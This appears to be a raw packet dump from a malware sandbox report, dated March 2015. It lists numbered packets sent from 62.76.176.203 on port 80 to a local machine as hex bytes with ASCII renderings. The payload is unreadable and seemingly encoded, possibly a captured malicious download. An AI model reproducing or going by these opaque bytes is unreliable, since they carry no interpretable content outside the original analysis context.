Data Ascii: <126*L0K!S-04HM!.>M5=69>K:0,4-+M"4.,=N4=,NN0,3L:A/"K,5*I</= ;4"(-*WH,2M(727*+-;,((S>2/,H9<0">O@:=/1-I,:SO/62+3+/L:;5"!6-HM(4.I 2I=/O;I"21-7
441
Mrz 4, 2015 14:54:13.949542046 MEZ80103262.76.176.203192.168.1.10Data Raw: 4e 4f 35 3c 30 09 13 30 2c 1e 08 2b 22 40 32 02 31 1e 48 21 2b 37 33 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: NO5<00,+"@21H!+7355555555555555555555555555555555555.S:O5!=92;)9999999999999>4,7@;0:"212?+0)K22*SW6,+*O"J7*1 9==OA6+,77+26 1K! 4L;.O=23!!LL"/IMJK;<IM2
443
Mrz 4, 2015 14:54:13.949546099 MEZ80103262.76.176.203192.168.1.10Data Raw: 1d 53 09 0e 3d 40 01 1f 3f 0e 10 22 1c 40 08 0c 41 28 2e 32 1e 0d 22 40 1e 2a 1b 4f 3e 10 4f 0e 1d 2a 1e 19 1d 4a 3a 33 2b 53 08 4e 08 4c 20 13 0c 0c 32 11 16 34 1e 1f 16 32 4d 57 4d 40 37 2c 1c 33 1b 01 34 19 28 0c 32 40 13 17 14 34 39 1d 3c 2c
Data Ascii: S=@?"@A(.2"@*O>O*J:3+SNL 242MWM@7,34(2@49<,I(7!>4H:N:*>3;6"M<.1II1;3W;O?,.3(N:/4?!;2IM4)@SJ030")KW23.?AA9+@>+3? (NS1+@>LKNA@>2>MHN(/>*"OK/9
444
Mrz 4, 2015 14:54:13.949548960 MEZ80103262.76.176.203192.168.1.10Data Raw: 3f 3f 28 4e 48 02 4f 0d 17 36 32 12 0f 36 0b 34 1d 49 2b 1c 0c 41 10 4c 2d 13 36 2b 2d 4f 48 19 2b 14 2c 10 1f 33 12 57 0f 31 15 2f 48 0f 3c 1c 49 3e 1d 2f 37 4d 2b 20 2b 41 0f 3e 39 36 0b 29 2c 4d 10 3b 02 4a 3b 30 13 13 0b 4e 48 01 08 19 1e 00
Data Ascii: ??(NHO6264I+AL-6+-OH+,3W1/H<I>/7M+ +A>96),M;J;0NH*6,I+=AAL6+.A2JM,=HH;S7+/<<=N;;IA??0*NH@MH)6I+6A1!
444
Mrz 4, 2015 14:54:14.946245909 MEZ80103262.76.176.203192.168.1.10Data Raw: 36 2b 22 3c 48 19 2f 13 3b 1c 4d 17 37 2b 1e 19 3b 3b 12 4a 28 3f 2f 3f 1f 4e 13 00 49 3b 02 48 34 0a 0f 32 0b 21 1d 4d 2b 08 1c 4d 10 10 39 36 0b 40 4c 02 02 19 2c 40 3c 1c 4e 2d 36 2b 2d 35 12 16 1e 3d 20 0e 0f 32 0b 36 1d 00 2b 11 48 11 0c 2b
Data Ascii: 6+"<H/;M7+;;J(?/?NI;H42!M+M96@L,@<N-6+-5= 26+H+?0/2@M,M+6N=-<O6+)H";KNH;H7)!-W555555555555555555555555555555555555555555555555555555
446
Mrz 4, 2015 14:54:14.946264982 MEZ80103262.76.176.203192.168.1.10Data Raw: 10 4f 02 32 29 1b 0a 37 4a 2b 1f 33 2f 1a 19 3f 19 4b 02 37 3c 19 2d 4a 4b 1b 1a 2b 2a 31 09 49 10 4c 1c 32 41 14 00 28 28 08 4e 16 39 31 22 2c 15 1e 49 12 21 49 0d 0b 41 10 1f 57 33 48 0c 29 2b 4a 41 33 57 2a 57 0a 33 0d 0b 0f 19 35 09 40 53 15
Data Ascii: O2)7J+3/?K7<-JK+*1IL2A((N91",I!IAW3H)+JA3W*W35@S!-()IA2O(*3?IL/:=62JO5)M.I6H*M0, 4.)>(/@9;+A-KO5)IO:.+""5=93> >5"S2O.6?5,@;/@IW4!?.+9!""A
448
Mrz 4, 2015 14:54:14.946269035 MEZ80103262.76.176.203192.168.1.10Data Raw: 0b 36 36 2f 1b 48 48 10 35 53 01 2a 49 21 2e 0e 21 01 3e 4a 3b 35 4a 2e 4f 02 19 4a 2c 09 2c 4e 1a 37 16 3c 0f 0e 39 49 2c 0e 14 2d 36 21 30 30 40 2c 35 00 22 2e 3e 1d 1c 1c 4d 0a 0a 21 40 57 28 30 2e 1a 2d 1c 4a 0c 0a 12 1f 3a 40 34 35 2e 17 0c
Data Ascii: 66/HH5S*I!.!>J;5J.OJ,,N7<9I,-6!00@,5".>M!@W(0.-J:@45.N ,= ?IO).*>IIOJ;3L>S-W,"O9 !1;;,(S-1J;/".7> (O/H@L.-;0<L/!9+=!93L!/2"HM.!(+:+IIN" !,=.3;:>=
449
Mrz 4, 2015 14:54:14.946434021 MEZ80103262.76.176.203192.168.1.10Data Raw: 02 08 57 4b 0e 0a 17 00 02 3f 28 53 10 39 0a 10 17 49 17 3a 2d 11 19 41 14 09 4d 00 1b 0d 0b 39 3f 4a 0a 3f 3c 09 1c 10 17 2b 1b 3a 2e 02 02 00 17 53 09 21 29 2b 2d 4f 2e 49 0c 49 12 1c 09 4c 31 2b 1b 57 28 3a 2c 4b 1f 35 0d 29 02 01 2d 4d 2a 0a
Data Ascii: WK?(S9I:-AM9?J?<+:.S!)+-O.IIL1+W(:,K5)-M*.9A1*SL+0-A>+5!9M1+L/O<K:+71I7=4I;2+<6"2/6+ 71+=M+0>:,!H?15+/-A(M!,K:9<.67+J2J(A11A9M=+))O7-25//="6J
450
Mrz 4, 2015 14:54:14.946439028 MEZ80103262.76.176.203192.168.1.10Data Raw: 48 02 3a 3a 1d 40 22 22 11 4b 4a 34 30 40 14 49 2b 00 35 39 14 10 01 33 3b 16 41 1c 3b 19 1b 32 1f 4e 4b 20 3b 35 1a 4b 2c 19 2c 00 1f 0c 4f 30 3b 2c 3d 37 17 13 2b 20 30 57 37 36 02 08 00 2f 4d 02 2c 0d 40 28 40 12 0e 2c 2a 30 1a 1a 1a 4a 0f 01
Data Ascii: H::@""KJ40@I+593;A;2NK ;5K,,O0;,=7+ 0W76/M,@(@,*0J?O"-H+5M J=+=+9-675/.,4WI,)I <14MHK:3MLI>+M)92AI5++<!=1+>W90: @+3-">>0-S5HO9>>3/ AM,K
452
Mrz 4, 2015 14:54:14.946444988 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 22 22 01 00 2e 1b 3a 15 19 0e 4d 12 0b 36 22 02 01 29 53 35 40 2c 49 4d 21 15 08 09 3b 0c 2a 19 2e 31 49 13 1c 19 3e 0a 19 4a 3e 12 11 20 1e 34 14 4d 30 3b 35 29 2c 10 0d 4b 22 13 4f 3f 37 39 37 22 2c 2b 17 2c 4b 2f 1d 1d 0f 36 15 21 4d 09 19
Data Ascii: 5"".:M6")S5@,IM!;*.1I>J> 4M0;5),K"O?797",+,K/6!MN.0."0I JN5-0@N)W2=S2"4/5/9<IN/5;6<HM2).9HI=H@L-,,@I767>2I+LI2/ 6+.:+.:73H6LMKO7.>?J7@04JO
453
Mrz 4, 2015 14:54:14.946666956 MEZ80103262.76.176.203192.168.1.10Data Raw: 41 1a 2f 3e 35 15 2e 31 0b 53 1b 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: A/>5.1S55555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555
454
Mrz 4, 2015 14:54:14.946672916 MEZ80103262.76.176.203192.168.1.10Data Raw: 2a 41 0f 00 3c 0c 15 14 2d 33 29 33 12 35 13 08 2c 2e 2c 17 17 09 30 1c 0b 01 3e 08 35 21 4f 49 10 1a 20 11 3d 28 2c 31 1c 2d 13 29 37 2b 48 1f 4d 1c 00 34 3a 40 14 48 48 2e 39 32 2a 1a 3f 4d 1f 2d 17 17 41 08 22 0c 00 21 01 41 28 31 41 0c 3a 1a
Data Ascii: *A<-3)35,.,0>5!OI =(,1-)7+HM4:@HH.92*?M-A"!A(1A:O2@:-0L5L3/.5>IW4/? =<4?9.M>>AJ/K,17-!W O459A>IH!A"1L.=H01A! SNK-LS!*/=I<JI<62=5.6I!W2>1,=69"
456
Mrz 4, 2015 14:54:14.946686029 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 555555555555555555555555555555555555555555555>/4O10-:99299999999999999-3K@?=O -3!9."-.!=0.(-M6!)2-A4.-!I1/9 -W1IA6)O-1592A""=-"23J.=;-11W.-?J >?0-S"
457
Mrz 4, 2015 14:54:14.946860075 MEZ80103262.76.176.203192.168.1.10Data Raw: 0b 39 0a 09 3a 32 32 1c 57 00 19 33 29 14 0d 02 3a 2c 22 57 48 48 0f 4f 2e 14 4a 2d 1d 0d 32 0c 08 0f 02 15 2b 4b 1d 22 36 1c 14 36 32 1a 3f 0a 28 2d 2f 12 33 08 14 37 00 1c 30 0f 16 08 2f 13 41 0d 39 2b 15 2a 3d 0d 1b 40 4f 48 14 1b 3e 14 1f 19
Data Ascii: 9:22W3):,"WHHO.J-2+K"662?(-/370/A9+*=@OH>A2)I !J.3-N0/J/=:S3!HK!HI("9/AL//-JH+ A=:(4A!S2-)+041 MM A/S@S-496?("NI(4 0@W.)A<; (+3!HAN2!-K
459
Mrz 4, 2015 14:54:14.946865082 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 555555555555555555555555555555555555555555555555555555555555.S:O<992;)999999999999935<KM7,3KW34=" /@ !/?:M;@O/J;I?7,0:/>324)064707"(=!4>(,/;?M54M4
460
Mrz 4, 2015 14:54:14.946877956 MEZ80103262.76.176.203192.168.1.10Data Raw: 4c 2b 09 00 22 3a 14 3f 17 28 2f 30 4f 1f 12 22 32 2f 41 29 31 28 4a 3e 4b 4f 35 14 32 32 14 3f 0d 40 22 2a 32 4e 0b 3e 32 57 36 0d 53 34 1d 0a 35 2e 1e 2e 32 17 2d 0a 48 13 12 0d 09 37 17 41 08 3e 30 2d 4d 0e 13 2c 4c 0f 28 14 41 2c 3e 02 01 15
Data Ascii: L+":?(/0O"2/A)1(J>KO522?@"*2N>2W6S45..2-H7A>0-M,L(A,>/???31H,7,<!!J1M,7+N! 9:+*=3(6S.("<!L 49L-K..46W3"7.4*0/=SN=:0("W ?6<*/:J!?)=9920?!!@76<3J1I2@?I@+
461
Mrz 4, 2015 14:54:14.946997881 MEZ80103262.76.176.203192.168.1.10Data Raw: 0d 39 3f 36 0d 12 17 30 01 02 0f 2b 12 1d 15 32 0b 1d 2e 0e 16 33 2c 0b 08 15 4a 4d 0b 2c 2f 02 19 09 02 40 16 0d 2f 22 0b 2b 2c 20 3e 21 12 00 1f 53 15 3a 0b 20 0b 08 2e 48 49 34 39 39 0c 1a 0b 35 29 49 39 1d 1a 4d 28 1c 1b 30 39 1b 0b 49 22 0a
Data Ascii: 9?60+2.3,JM,/@/"+, >!S: .HI4995)I9M(09I"/">9M)?=M2*0.;,L1:K?4;2<I10>5=/N,32+<KN>+:!I-.L9A660J=K;HA:>M=I6,AS2+L?OIS@+.I>:63(41?0=
463
Mrz 4, 2015 14:54:14.947015047 MEZ80103262.76.176.203192.168.1.10Data Raw: 4e 09 1a 3e 41 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: N>A55555555555555555555555555555555555555555.S:O(;92;)9999999999999</W0+I M,;*/J?5JLM;*(/L;-,;355L@,>HM<((@<"/2;:04--! ?0>M2./N,O6>-6IIL" .>2( +=3K<,0.J+M9/
464
Mrz 4, 2015 14:54:14.947208881 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 5555555555555555555555555555555555555555555555555555555555555555>/4O10W9@9299999999999999O92 A/IN6AN2 :MSM0<1K4=JJ-H: A2+@@9?K5N7;5JOA"367S?6;S+*.
465
Mrz 4, 2015 14:54:14.947215080 MEZ80103262.76.176.203192.168.1.10Data Raw: 4d 21 40 2f 0b 4b 3f 1a 16 1c 08 1a 33 33 0a 0b 3f 15 21 4f 3e 01 53 34 02 31 19 15 2f 13 4f 21 36 40 4c 2b 3d 00 1b 37 15 14 3d 02 4b 22 1f 00 29 01 11 09 2f 15 16 21 09 08 1f 33 15 2d 0e 2e 15 14 36 2b 2d 3c 15 19 3d 11 0a 0b 35 02 35 02 35 02
Data Ascii: M!@/K?33?!O>S41/O!6@L+=7=K")/!3-.6+-<=555555555555555555555555555555555555555555555555555555555555555555555555555555555555
467
Mrz 4, 2015 14:54:14.947217941 MEZ80103262.76.176.203192.168.1.10Data Raw: 29 08 0f 11 13 02 30 30 2c 4b 31 49 4a 30 1e 33 2d 4d 2c 19 21 1e 3a 1d 3a 1e 21 34 2e 09 02 19 09 0c 3a 1d 40 2a 4f 0d 2b 00 20 11 4e 22 3c 08 09 4d 0b 09 09 00 2c 02 3c 48 4b 4b 48 33 16 33 2d 53 48 3b 2c 4f 2f 4a 2f 36 2a 2c 48 09 02 2b 2d 37
Data Ascii: )00,K1IJ03-M,!::!4.:@*O+ N"<M,<HKKH33-SH;,O/J/6*,H+-71-+:9K2K0>K:/?(/<>?"6-H4:/),NI/6MJ 49N/><2"3.+JI1-5,,.,4:W-,MSH<"3?,L0W2? ,->..S""SJ;J?! ,J:S?0
468
Mrz 4, 2015 14:54:14.947222948 MEZ80103262.76.176.203192.168.1.10Data Raw: 4a 31 41 12 4a 02 13 19 4e 12 2a 1e 36 39 1e 2e 34 49 1e 37 13 21 01 49 1c 2c 53 11 20 49 2d 4a 34 02 00 10 10 32 4b 4a 14 22 3c 19 41 3a 0d 4e 33 3c 12 2f 4b 16 10 3f 48 17 2b 11 49 33 49 0d 17 36 01 19 2f 2e 2a 01 13 28 28 3f 2d 02 3d 19 2f 21
Data Ascii: J1AJN*69.4I7!I,S I-J42KJ"<A:N3</K?H+I3I6/.*((?-=/!356:="K2MN>O9H,9<I<KL/-JJ(L4(= I(J)A.0ASH@+A2OHAA,A II+@:!AA,IM6MKLJ2*2(253IA/>S(:K+?7/9N>O7;6
469
Mrz 4, 2015 14:54:14.947330952 MEZ80103262.76.176.203192.168.1.10Data Raw: 0b 4a 20 49 37 3b 09 2c 35 1a 2b 17 31 30 0a 01 1c 4e 0d 2c 34 28 36 20 1b 12 0b 0f 0c 4e 0c 2c 30 14 08 16 1b 4f 21 02 40 4a 0f 1e 34 1e 36 20 1c 1c 4b 1c 37 00 2a 0a 40 3e 0c 0a 1c 0a 4b 21 1c 09 40 0f 35 2c 1d 14 15 36 4d 01 0d 3a 08 20 49 2e
Data Ascii: J I7;,5+10N,4(6 N,0O!@J46 K7*@>K!@5,6M: I..OIL4/?)@/K/:NK@JA+</ 0-42(-*W!>6<+!+()50,>+O:O/*>?*-/=S. .24O355</K3-SI@4(*0)J,W!023+,
471
Mrz 4, 2015 14:54:14.947362900 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 13 2f 01 3e 1e 3e 33 10 1a 2f 3f 0a 13 2f 00 4d 17 21 32 08 19 22 3e 4b 11 22 00 32 1b 31 32 08 20 1a 19 16 21 21 3a 4d 2c 3e 09 22 28 2f 3f 16 21 2f 3b 1e 29 2d 32 48 1a 2f 3e 30 13 2f 0f 3e 1e 3e 31 3e 13 08 3e 4b 4b 22 00 32 09 31 32 08 1d
Data Ascii: 5/>>3/?/M!2">K"212 !!:M,>"(/?!/;)-2H/>0/>>1>>KK"212">K.M,=/7!+*M,7S/0/>3/?K212"">K""2+3 3!-M,:"() 5/>>3A/?/2!21.7M2N12*!:M,0"(.332S=/7!,:M,("(/;ANK2/I2L( :K?
472
Mrz 4, 2015 14:54:14.947367907 MEZ80103262.76.176.203192.168.1.10Data Raw: 1c 21 4c 2a 10 1c 13 15 36 40 15 02 16 00 36 1c 11 4b 33 14 29 1e 4c 14 34 02 00 1c 11 41 34 10 35 0c 13 14 3b 02 4b 1e 31 2c 13 4f 48 0d 2f 15 4b 39 20 12 2a 3c 13 4e 2d 1c 30 3c 4b 49 2e 14 12 13 2f 14 1b 0b 4a 0b 1f 1a 1d 0e 3a 1c 3a 4f 0c 2d
Data Ascii: !L*6@6K3)L4A45;K1,OH/K9 *<N-0<KI./J::O-W9:NJ.22)L /J+5I>)?7.J6!)JL-9IHN ?K55NI?KOJAWKN)KN0L-/4JO/(HH5J7 )LOKI6
473
Mrz 4, 2015 14:54:14.947463036 MEZ80103262.76.176.203192.168.1.10Data Raw: 29 28 14 2c 29 2c 4a 16 2c 13 1a 20 02 0c 31 2a 01 09 12 36 4b 0c 0e 4e 10 0e 0b 33 00 4d 4e 2e 16 22 53 3a 4f 2d 4d 22 1a 29 40 34 30 0b 21 09 49 20 3e 36 4e 29 3e 08 41 2d 4c 1d 00 0e 0b 3d 09 02 16 4a 4e 48 36 0d 48 0c 29 33 2b 02 15 32 13 2e
Data Ascii: )(,),J, 1*6KN3MN."S:O-M")@40!I >6N)>A-L=JNH6H)3+2.3>(+40>((<-=?K1A".03"*2KJ-@6J,!S0!=2==7K>MJJ7.!3SO)4L?O=,M*:3M/J00/!A0="3/WI4"N!NJ.447*!/ >(?NHJ(243!"2=
475
Mrz 4, 2015 14:54:14.947498083 MEZ80103262.76.176.203192.168.1.10Data Raw: 16 48 20 3e 48 2c 30 53 29 4c 1b 28 37 22 4b 37 11 2c 31 3b 19 4b 41 4e 32 17 40 32 2c 20 0b 3e 1c 29 0c 28 19 2d 20 1c 1d 19 3f 14 08 1d 31 1c 13 49 35 14 33 21 09 0c 08 09 17 10 3d 17 40 36 1e 2c 4a 10 08 21 4d 3d 1e 13 1b 3a 1f 19 3f 22 08 08
Data Ascii: H >H,0S)L(7"K7,1;KAN2@2, >)(- ?1I53!=@6,J!M=:?""=O:2, LH.!@/1/J /()K:47()KK345 )" "3(./?>A!6IW>L! I524 H!"K?+9-J!"NKNW! NAH.4 !!O26J,K7M*-J/6>W0
476
Mrz 4, 2015 14:54:14.947503090 MEZ80103262.76.176.203192.168.1.10Data Raw: 4b 0f 3e 4d 4b 1c 4c 3e 3d 09 3b 30 0e 01 3e 22 4b 1e 4b 13 0b 13 3b 13 30 48 3d 4d 4b 22 4b 3d 48 15 3c 21 1c 33 37 1c 4b 1a 53 34 2b 1d 28 2e 2a 49 01 10 4b 4b 40 4f 14 10 1f 00 1e 32 3e 00 4b 48 53 20 1f 14 28 2a 32 33 57 36 4b 0b 16 17 15 0e
Data Ascii: K>MKL>=;0>"KK;0H=MK"K=H<!37KS4+(.*IKK@O2>KHS (*23W6K=1M;A,1H=?:;93A05J0SS@7*6/:3:75-J7N((J?-2)@3-M2S?L-KW"9?L+ 2:(W+K4960* 66:@4*K.@.N/63S.
478
Mrz 4, 2015 14:54:14.947624922 MEZ80103262.76.176.203192.168.1.10Data Raw: 3e 2d 0e 14 4a 3f 4a 49 33 36 21 1c 53 2d 11 41 14 4d 2f 48 2e 29 31 1c 49 2e 0e 2e 16 29 19 39 41 4b 20 0f 1e 02 2f 13 1d 2f 3e 0e 57 12 0b 12 08 1d 15 4b 49 2a 14 14 12 1f 1f 3d 3d 53 02 48 41 10 0c 0a 0e 48 12 2c 0f 40 0f 2a 36 17 34 36 39 4b
Data Ascii: >-J?JI36!S-AM/H.)1I..)9AK //>WKI*==SHAH,@*6469K-(.!2<()O00,+<:)*<00;;/A5555555555555555555555555555555555555555555555555555555555555
479
Mrz 4, 2015 14:54:14.947647095 MEZ80103262.76.176.203192.168.1.10Data Raw: 3e 2c 3d 12 3b 3a 28 40 2f 2c 31 3b 15 2c 3b 12 1b 31 01 39 21 30 3f 4e 3a 2c 3a 34 32 30 10 14 1c 35 4c 4f 3f 2c 3b 34 35 36 3a 29 41 4e 36 00 11 2c 3d 53 53 3c 1e 29 36 20 41 49 1d 2c 3c 12 3d 3a 2d 0b 36 2c 4b 41 19 2c 3d 4a 53 4c 2d 14 11 41
Data Ascii: >,=;:(@/,1;,;19!0?N:,:4205LO?,;456:)AN6,=SS<)6 AI,<=:-6,KA,=JSL-A,=WH"!0>,7,0<:W5S@,6+N(<WS",9,3*@76;1A!AH4A7)H,().>M< -15**67-IO5):0?O"!@)0JO ?)H-+=50!JJO/ -K66A2W7S*6325
480
Mrz 4, 2015 14:54:14.947653055 MEZ80103262.76.176.203192.168.1.10Data Raw: 14 1c 36 14 17 22 2e 1b 22 4b 3e 14 48 3e 35 17 4b 3d 30 1b 3b 37 17 3e 0e 33 1d 21 02 3a 20 1b 22 2b 15 0d 33 32 1d 3d 08 2e 30 1c 2d 35 20 49 4e 31 53 39 16 39 4b 1b 32 37 4b 11 3d 3e 53 1f 1c 3a 16 1b 3f 37 4a 00 41 30 0c 0f 4f 3c 30 1b 32 37
Data Ascii: 6"."K>H>5K=0;7>3!: "+32=.0-5 IN1S99K27K=>S:?7JA0O<027L>K4H?.+S9=@<1-, 7+@A7HK-J=?4419H;AW"II6<6H>***J?9)?2H/<-"+ :HJ/5))KI@4LSIH *:9K:?1!!K)9;J>S==N-:-"!59N<-
482
Mrz 4, 2015 14:54:14.947781086 MEZ80103262.76.176.203192.168.1.10Data Raw: 0b 1f 1d 00 1d 3b 1f 3b 29 13 39 39 39 39 39 39 39 39 39 39 39 39 39 3a 4b 4a 13 1c 10 30 11 3a 3f 1e 4b 2d 21 02 2c 09 10 33 0f 14 3f 1b 31 1f 2d 2f 13 21 4a 1d 3e 30 3a 0a 48 35 37 3c 1f 33 1f 0b 4b 3d 0f 0f 3d 39 28 2f 2e 4a 2d 2b 0b 3d 21 35
Data Ascii: ;;)9999999999999:KJ0:?K-!,3?1-/!J>0:H57<3K==9(/.J-+=!5)>+I9)62(4NIJ:7L /!52SO;SI"?(2@AJK",,,K=I(O;)K/-)I=/79JHH!"==W5K3-.?7J=9>6;-5+.0,+)A2W1M9)@1S)N )WH
483
Mrz 4, 2015 14:54:14.947786093 MEZ80103262.76.176.203192.168.1.10Data Raw: 37 2d 01 0a 33 32 1c 0c 20 33 2d 14 3a 4a 4d 10 17 31 0d 08 31 3d 2d 4b 4b 3f 01 13 53 4b 4a 17 3d 3e 36 3e 35 0c 21 0f 3a 00 15 39 3f 3e 39 4d 36 3d 10 09 0f 2e 02 35 22 37 2f 0c 4e 2d 11 53 48 2d 2b 0b 2b 2a 15 4e 33 2d 13 37 0e 2c 3b 29 22 37
Data Ascii: 7-32 3-:JM11=-KK?SKJ=>6>5!:9?>9M6=.5"7/N-SH-++*N3-7,;)"70J4-,;5/S=-+;124KJ.;1"9K5.?H/@1*HK=*4*@=5I.I0H,(:<H,WKA<WAO!4S?N"3()-"2.(;S1;!JI0-;==W?6
485
Mrz 4, 2015 14:54:14.947791100 MEZ80103262.76.176.203192.168.1.10Data Raw: 3e 29 48 15 33 1f 3d 3b 1a 2a 10 0b 3c 29 49 3f 39 0a 02 39 1c 32 15 02 09 4e 4c 32 35 35 37 28 3a 57 01 0b 4f 09 4b 1c 2f 35 3d 16 22 4f 3e 1e 36 28 4f 17 0c 30 3f 16 13 29 32 4e 1c 34 0b 1f 3c 2b 15 13 14 29 34 2b 2b 30 08 4d 3b 3a 2f 16 02 35
Data Ascii: >)H3=;*<)I?992NL2557(:WOK/5="O>6(O0?)2N4<+)4++0M;:/51J"5<9->,M?HM!!LLO:><!*>M<<:=6":;,6?O1( /)I0/I1!:,)=+5AWS-MI?.SJ",.IAHLHL@NI=@@:(HIK4>5A-->-)>)=+)A>?2
486
Mrz 4, 2015 14:54:14.947794914 MEZ80103262.76.176.203192.168.1.10Data Raw: 08 29 3f 01 40 41 48 0c 22 48 0b 34 09 4d 3f 00 4c 3b 3e 3e 2a 00 40 1a 14 40 4a 01 37 35 1e 4c 29 3a 08 16 08 4e 3f 00 0d 57 02 22 1d 01 17 4e 30 28 15 01 49 37 1e 1f 2c 3e 41 57 1e 57 2f 00 0e 40 3c 2c 4e 3c 4e 3b 0f 28 15 01 09 29 02 02 00 34
Data Ascii: )?@AH"H4M?L;>>*@@J75L):N?W"N0(I7,>AWW/@<,N<N;()464W/;N5/MJ1@6H;2N*@55!<6WLA"J66/K4>, +62O!A"-25=S5K@:"2(H-=(MI4J?22OK@,M9K( !N().>SN*4/>HO2+@=):+HI
487
Mrz 4, 2015 14:54:14.947913885 MEZ80103262.76.176.203192.168.1.10Data Raw: 32 2a 2c 0d 19 14 1d 3a 0b 1a 2e 30 11 37 4a 3d 19 3b 48 36 4d 0e 0c 15 10 40 2f 3e 10 2c 49 11 3a 1e 01 12 11 35 3f 3d 0f 2a 4a 3e 37 01 1c 15 10 40 17 4d 09 19 4d 3e 31 2e 13 14 02 16 49 4e 3a 16 48 14 36 00 48 1a 22 3b 08 2b 17 37 32 16 0c 3c
Data Ascii: 2*,:.07J=;H6M@/>,I:5?=*J>7@MM>1.IN:H6H";+72<6S4K HO>J>O2@-1@M7,"/9W,2)>>NNJ5,-2/JOK)4,K-.=OL7W7@3 721>(LWI2:/0O(!-/I, (!1J+I)S!>O(!WS.4*O>!! <4>*"+MN4>,<
489
Mrz 4, 2015 14:54:14.947918892 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 3e 2f 34 4f 31 30 0b 1f 39 1f 39 13 32 39 39 39 39 39 39 39 39 39 39 39 39 39 39 49 21 57 01 2b 4b 1e 10 28 15 01 3d 32 0d 31 4d 2a 17 1c 2f 41 1b 11 4d 33 0f 21 0b 57 31 1c 10 15
Data Ascii: 55555555555>/4O1099299999999999999I!W+K(=21M*/AM3!W1)?57>9@)SWO5(<AWK,=7*N,>0=?>-L)/54.>*!6NH;*51:3=>L,19SSMJJ4*H(+!+=-6H!-)=<="!A4<2O5!2WK!@257
490
Mrz 4, 2015 14:54:14.948036909 MEZ80103262.76.176.203192.168.1.10Data Raw: 08 4f 01 02 11 48 0f 15 4c 36 00 3e 08 4f 01 53 09 15 29 11 53 36 57 14 08 32 11 11 0f 11 12 33 0e 29 48 32 08 32 0e 2f 0c 13 48 15 4e 36 39 3e 09 0c 3f 37 22 01 39 15 3b 2b 1e 48 20 28 2c 2f 49 49 3c 4b 3b 36 2c 1b 12 28 2c 2b 1b 11 11 4e 0d 3b
Data Ascii: OHL6>OS)S6W23)H22/HN69>?7"9;+H (,/II<K;6,(,+N;+.,I65(>1I!L0W9@=)H!.)1-S-!*!I-!/>=I!)@+M:?9!>+9+"));W"+ON."1"?<3000,;(5*@A/@,:2A-2*J,;W=9 (LS:,:2W:9
492
Mrz 4, 2015 14:54:14.948041916 MEZ80103262.76.176.203192.168.1.10Data Raw: 17 4d 4a 3d 2f 3d 34 00 2b 13 33 49 10 16 0c 3e 0b 40 34 00 2b 3d 53 2c 2a 1c 40 12 1b 2b 1a 28 3b 19 2b 2c 2a 1c 0f 0c 2c 0d 2d 00 08 4a 2c 49 4c 4d 4a 3d 3c 0d 2d 02 40 39 33 49 10 02 0c 3e 0b 17 34 00 2b 29 33 49 10 31 2c 12 1b 2b 21 28 3b 19
Data Ascii: MJ=/=4+3I>@4+=S,*@+(;+,*,-J,ILMJ=<-@93I>4+)3I1,+!(; ,*+!2J,K!MJ0-2J,H4>/4+3I:>@A;!*O<+*;MJ?-:J,H)MJ=/S4+J3IM>74+=*L<+/;*4-J,K9MJ>4-@+3I>4+33I1+<+;*J
493
Mrz 4, 2015 14:54:14.948046923 MEZ80103262.76.176.203192.168.1.10Data Raw: 2b 37 0d 1f 36 08 02 09 2b 1f 48 00 2b 2a 4c 4f 10 01 3c 1f 48 20 4e 49 2b 37 1e 0f 2f 19 00 2f 36 1a 3a 3a 2b 30 32 28 4e 3c 3a 0b 4f 2f 28 3e 2b 32 0e 20 57 34 4a 37 2d 2d 1c 2a 2b 1a 08 0f 2c 2d 3f 48 01 1a 2c 2e 2b 1c 35 02 35 02 35 02 35 02
Data Ascii: +76+H+*LO<H NI+7//6::+02(N<:O/(>+2 W4J7--*+,-?H,.+5555555555555555555555555555555555555555555555555555555555555555555555555555555555555
495
Mrz 4, 2015 14:54:14.948087931 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 2e 53 0d 30 31 39 00 49 4d 13 13 3d 36 3a 1c 17 3d 0e 33 22 10 48 13 3b 20 1f 2c 34 35 0f 14 0d 33 13 13 10 36 01 39 0b 28 1e 37 3b 2b 48 13 16 20 2c 48 28 36 28 4a 12 2c 13 13 1f 29 4a 30 0f 28 0c 57 28 4f 48 13 15 1b 2c 22 2c 30 57 11 40 13
